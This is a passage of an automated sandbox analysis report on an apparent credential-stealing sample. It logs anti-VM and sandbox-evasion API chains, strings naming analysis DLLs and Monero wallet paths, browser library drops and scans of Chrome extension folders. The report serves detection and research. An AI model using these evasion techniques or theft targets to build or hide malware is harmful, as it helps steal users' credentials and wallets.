Source: C:\Users\userDHCAECGIEB.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\userDHCAECGIEB.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\userDHCAECGIEB.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\userDHCAECGIEB.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\userDHCAECGIEB.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\userDHCAECGIEB.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\userDHCAECGIEB.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\userDHCAECGIEB.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\userDHCAECGIEB.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\userDHCAECGIEB.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\userDHCAECGIEB.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\userDHCAECGIEB.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\userDHCAECGIEB.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\userDHCAECGIEB.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\userDHCAECGIEB.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\userDHCAECGIEB.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\userBAKKEGCAAE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\userBAKKEGCAAE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\userBAKKEGCAAE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\userBAKKEGCAAE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\userBAKKEGCAAE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\userBAKKEGCAAE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\userBAKKEGCAAE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\userBAKKEGCAAE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\userBAKKEGCAAE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\userBAKKEGCAAE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\userBAKKEGCAAE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\userBAKKEGCAAE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\userBAKKEGCAAE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\userBAKKEGCAAE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\userBAKKEGCAAE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\userBAKKEGCAAE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\userBAKKEGCAAE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\userBAKKEGCAAE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\userBAKKEGCAAE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match	File source: 7.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.RegAsm.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.d4BihqytT0FhOpDvoGEczZzm.exe.3d45570.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.d4BihqytT0FhOpDvoGEczZzm.exe.3d45570.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000002.3149050724.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2398657771.0000000003D45000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: d4BihqytT0FhOpDvoGEczZzm.exe PID: 5504, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 5888, type: MEMORYSTR

Found API chain indicative of sandbox detection

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Sandbox detection routine: GetCursorPos, DecisionNode, Sleep

graph_3-45564

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Evasive API call chain: GetPEB, DecisionNodes, Sleep

graph_3-45567

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: RegAsm.exe	Binary or memory string: DIR_WATCH.DLL
Source: RegAsm.exe, 00000007.00000002.3149050724.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: INMPM20IXQUGN9:-?5(\C!7%{->^WALLET_PATHSOFTWARE\MONERO-PROJECT\MONERO-CORE.KEYS\MONERO\WALLET.KEYS\\\.\\...\\\\\\\\\\\\HAL9THJOHNDOEDISPLAYAVGHOOKX.DLLAVGHOOKA.DLLSNXHK.DLLSBIEDLL.DLLAPI_LOG.DLLDIR_WATCH.DLLPSTOREC.DLLVMCHECK.DLLWPESPY.DLLCMDVRT32.DLLCMDVRT64.DLL20:41:3120:41:3120:41:3120:41:3120:41:3120:41:31DELAYS.TMP%S%SNTDLL.DLL
Source: RegAsm.exe	Binary or memory string: SBIEDLL.DLL
Source: RegAsm.exe	Binary or memory string: API_LOG.DLL

Source: C:\Users\user\Desktop\66fb252fe232b_Patksl.exe	Memory allocated: 2860000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\66fb252fe232b_Patksl.exe	Memory allocated: 2A50000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\66fb252fe232b_Patksl.exe	Memory allocated: 2860000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\d4BihqytT0FhOpDvoGEczZzm.exe	Memory allocated: 1390000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\d4BihqytT0FhOpDvoGEczZzm.exe	Memory allocated: 2D40000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\d4BihqytT0FhOpDvoGEczZzm.exe	Memory allocated: 4D40000 memory reserve \| memory write watch	Jump to behavior
Source: C:\ProgramData\HDGIJJDGCB.exe	Memory allocated: 1250000 memory reserve \| memory write watch	Jump to behavior
Source: C:\ProgramData\HDGIJJDGCB.exe	Memory allocated: 2DF0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\ProgramData\HDGIJJDGCB.exe	Memory allocated: 4DF0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\ProgramData\EBKJDBAAKJ.exe	Memory allocated: AA0000 memory reserve \| memory write watch
Source: C:\ProgramData\EBKJDBAAKJ.exe	Memory allocated: 2650000 memory reserve \| memory write watch
Source: C:\ProgramData\EBKJDBAAKJ.exe	Memory allocated: 24B0000 memory reserve \| memory write watch
Source: C:\ProgramData\AAAKEBGDAF.exe	Memory allocated: 12B0000 memory reserve \| memory write watch
Source: C:\ProgramData\AAAKEBGDAF.exe	Memory allocated: 2DD0000 memory reserve \| memory write watch
Source: C:\ProgramData\AAAKEBGDAF.exe	Memory allocated: 2D20000 memory reserve \| memory write watch
Source: C:\Users\userDHCAECGIEB.exe	Memory allocated: DA0000 memory reserve \| memory write watch
Source: C:\Users\userDHCAECGIEB.exe	Memory allocated: 2A30000 memory reserve \| memory write watch
Source: C:\Users\userDHCAECGIEB.exe	Memory allocated: 4A30000 memory reserve \| memory write watch
Source: C:\Users\userBAKKEGCAAE.exe	Memory allocated: 2E90000 memory reserve \| memory write watch
Source: C:\Users\userBAKKEGCAAE.exe	Memory allocated: 3070000 memory reserve \| memory write watch
Source: C:\Users\userBAKKEGCAAE.exe	Memory allocated: 2E90000 memory reserve \| memory write watch

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetCursorPos,GetCursorPos,Sleep,GetCursorPos,__aulldiv,Sleep,		3_2_00432300
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: OpenInputDesktop,SetThreadDesktop,GetCursorPos,GetCursorPos,Sleep,Sleep,GetCursorPos,Sleep,Sleep,GetCursorPos,		7_2_0040180D

Source: C:\Users\user\Desktop\66fb252fe232b_Patksl.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\d4BihqytT0FhOpDvoGEczZzm.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\ProgramData\HDGIJJDGCB.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\ProgramData\EBKJDBAAKJ.exe	Thread delayed: delay time: 922337203685477
Source: C:\ProgramData\AAAKEBGDAF.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\userDHCAECGIEB.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\userBAKKEGCAAE.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\Desktop\66fb252fe232b_Patksl.exe	Window / User API: threadDelayed 406			Jump to behavior
Source: C:\ProgramData\HDGIJJDGCB.exe	Window / User API: threadDelayed 471			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\msvcp140[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\mozglue[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\nss3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\freebl3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll	Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

API coverage: 6.2 %

Source: C:\Users\user\Desktop\66fb252fe232b_Patksl.exe TID: 6620	Thread sleep count: 406 > 30	Jump to behavior
Source: C:\Users\user\Desktop\66fb252fe232b_Patksl.exe TID: 2192	Thread sleep count: 92 > 30	Jump to behavior
Source: C:\Users\user\Desktop\66fb252fe232b_Patksl.exe TID: 5696	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\d4BihqytT0FhOpDvoGEczZzm.exe TID: 5224	Thread sleep count: 303 > 30	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\d4BihqytT0FhOpDvoGEczZzm.exe TID: 5224	Thread sleep count: 185 > 30	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\d4BihqytT0FhOpDvoGEczZzm.exe TID: 4344	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\ProgramData\HDGIJJDGCB.exe TID: 5580	Thread sleep count: 471 > 30	Jump to behavior
Source: C:\ProgramData\HDGIJJDGCB.exe TID: 6488	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 3700	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\ProgramData\EBKJDBAAKJ.exe TID: 992	Thread sleep count: 302 > 30
Source: C:\ProgramData\EBKJDBAAKJ.exe TID: 992	Thread sleep count: 187 > 30
Source: C:\ProgramData\EBKJDBAAKJ.exe TID: 5884	Thread sleep time: -922337203685477s >= -30000s
Source: C:\ProgramData\AAAKEBGDAF.exe TID: 3060	Thread sleep count: 235 > 30
Source: C:\ProgramData\AAAKEBGDAF.exe TID: 3060	Thread sleep count: 258 > 30
Source: C:\ProgramData\AAAKEBGDAF.exe TID: 4416	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\timeout.exe TID: 6860	Thread sleep count: 80 > 30
Source: C:\Users\userDHCAECGIEB.exe TID: 3548	Thread sleep count: 305 > 30
Source: C:\Users\userDHCAECGIEB.exe TID: 3548	Thread sleep count: 189 > 30
Source: C:\Users\userDHCAECGIEB.exe TID: 4232	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\userBAKKEGCAAE.exe TID: 4600	Thread sleep count: 196 > 30
Source: C:\Users\userBAKKEGCAAE.exe TID: 4600	Thread sleep count: 285 > 30
Source: C:\Users\userBAKKEGCAAE.exe TID: 6812	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 4392	Thread sleep time: -30000s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 7_2_00410DDB GetKeyboardLayoutList followed by cmp: cmp eax, ebx and CTI: jbe 00410EEEh

7_2_00410DDB

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0053FAB6 GetFileAttributesExW,GetLastError,FindFirstFileW,GetLastError,FindClose,___std_fs_open_handle@16,GetFileInformationByHandleEx,GetLastError,GetFileInformationByHandleEx,GetFileInformationByHandleEx,	3_2_0053FAB6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_0041543D wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,FindNextFileA,FindClose,	7_2_0041543D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_00414CC8 wsprintfA,FindFirstFileA,_memset,_memset,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,_memset,lstrcatA,strtok_s,strtok_s,_memset,lstrcatA,strtok_s,PathMatchSpecA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,strtok_s,strtok_s,FindNextFileA,FindClose,	7_2_00414CC8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_00409D1C FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	7_2_00409D1C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_0040D5C6 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	7_2_0040D5C6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_0040B5DF FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	7_2_0040B5DF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_00401D80 FindFirstFileA,StrCmpCA,StrCmpCA,FindFirstFileA,FindNextFileA,FindClose,FindNextFileA,FindClose,	7_2_00401D80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_0040BF4D FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,	7_2_0040BF4D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_00415FD1 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,FindNextFileA,FindClose,	7_2_00415FD1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_0040B93F FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	7_2_0040B93F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_00415B0B GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,FindNextFileA,FindClose,lstrcatA,lstrcatA,lstrlenA,lstrlenA,	7_2_00415B0B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_0040CD37 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,FindNextFileA,FindClose,	7_2_0040CD37

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 7_2_00415142 GetLogicalDriveStringsA,_memset,GetDriveTypeA,lstrcpyA,lstrcpyA,lstrcpyA,lstrlenA,

7_2_00415142

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 7_2_00410FBA GetSystemInfo,wsprintfA,

7_2_00410FBA

Source: C:\Users\user\Desktop\66fb252fe232b_Patksl.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\d4BihqytT0FhOpDvoGEczZzm.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\ProgramData\HDGIJJDGCB.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\ProgramData\EBKJDBAAKJ.exe	Thread delayed: delay time: 922337203685477
Source: C:\ProgramData\AAAKEBGDAF.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\userDHCAECGIEB.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\userBAKKEGCAAE.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior

Source: BGHIDGCA.32.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: RegAsm.exe, 00000003.00000002.2395951419.000000000122A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWx
Source: RegAsm.exe, 0000001D.00000002.3633419758.00000000011EA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWC%
Source: BGHIDGCA.32.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: BGHIDGCA.32.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: BGHIDGCA.32.dr	Binary or memory string: discord.comVMware20,11696487552f
Source: RegAsm.exe, 0000001D.00000002.3633419758.0000000001250000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWelw
Source: BGHIDGCA.32.dr	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: BGHIDGCA.32.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: RegAsm.exe, 00000007.00000002.3153652964.0000000001270000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%
Source: RegAsm.exe, 00000003.00000002.2395951419.000000000127A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.3153652964.000000000123F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.3153652964.0000000001270000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001A.00000002.3191512945.000000000124C000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3633419758.0000000001250000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000020.00000002.3589481722.00000000015BE000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3445776825.00000000014DB000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3445776825.000000000153F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000031.00000002.3383832619.0000000000B01000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: BGHIDGCA.32.dr	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: BGHIDGCA.32.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: BGHIDGCA.32.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: BGHIDGCA.32.dr	Binary or memory string: global block list test formVMware20,11696487552
Source: BGHIDGCA.32.dr	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: BGHIDGCA.32.dr	Binary or memory string: AMC password management pageVMware20,11696487552
Source: BGHIDGCA.32.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: BGHIDGCA.32.dr	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: BGHIDGCA.32.dr	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: BGHIDGCA.32.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: BGHIDGCA.32.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: RegAsm.exe, 00000020.00000002.3589481722.000000000155A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW08\
Source: BGHIDGCA.32.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: BGHIDGCA.32.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: BGHIDGCA.32.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: BGHIDGCA.32.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: BGHIDGCA.32.dr	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: BGHIDGCA.32.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: RegAsm.exe, 0000002F.00000002.3445776825.00000000014DB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: BGHIDGCA.32.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: BGHIDGCA.32.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: RegAsm.exe, 00000031.00000002.3383730142.0000000000AC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWI
Source: BGHIDGCA.32.dr	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: BGHIDGCA.32.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: RegAsm.exe, 0000001A.00000002.3191512945.000000000124C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWL
Source: BGHIDGCA.32.dr	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: BGHIDGCA.32.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: RegAsm.exe, 0000001A.00000002.3190987674.0000000001206000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@
Source: RegAsm.exe, 00000003.00000002.2395951419.000000000127A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWA
Source: BGHIDGCA.32.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: BGHIDGCA.32.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552
Source: RegAsm.exe, 00000020.00000002.3589481722.00000000015BE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWD

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	API call chain: ExitProcess graph end node
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	API call chain: ExitProcess graph end node
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	API call chain: ExitProcess graph end node

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_00552E40 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

3_2_00552E40

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

7_2_00418950

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00432300 mov eax, dword ptr fs:[00000030h]	3_2_00432300
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00432300 mov eax, dword ptr fs:[00000030h]	3_2_00432300
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_004014AD mov eax, dword ptr fs:[00000030h]	7_2_004014AD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_0040148A mov eax, dword ptr fs:[00000030h]	7_2_0040148A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_004014A2 mov eax, dword ptr fs:[00000030h]	7_2_004014A2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_00418599 mov eax, dword ptr fs:[00000030h]	7_2_00418599
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_0041859A mov eax, dword ptr fs:[00000030h]	7_2_0041859A

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_0050BE90 lstrlenA,GetProcessHeap,HeapAlloc,lstrcpynA,

3_2_0050BE90

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0053EBD5 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	3_2_0053EBD5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00552E40 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_00552E40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_0041D016 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	7_2_0041D016
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_0041D98C _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	7_2_0041D98C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_0042762E SetUnhandledExceptionFilter,	7_2_0042762E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_6C6DAC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	7_2_6C6DAC62

Source: C:\Users\user\Desktop\66fb252fe232b_Patksl.exe

Memory allocated: page read and write | page guard

Jump to behavior

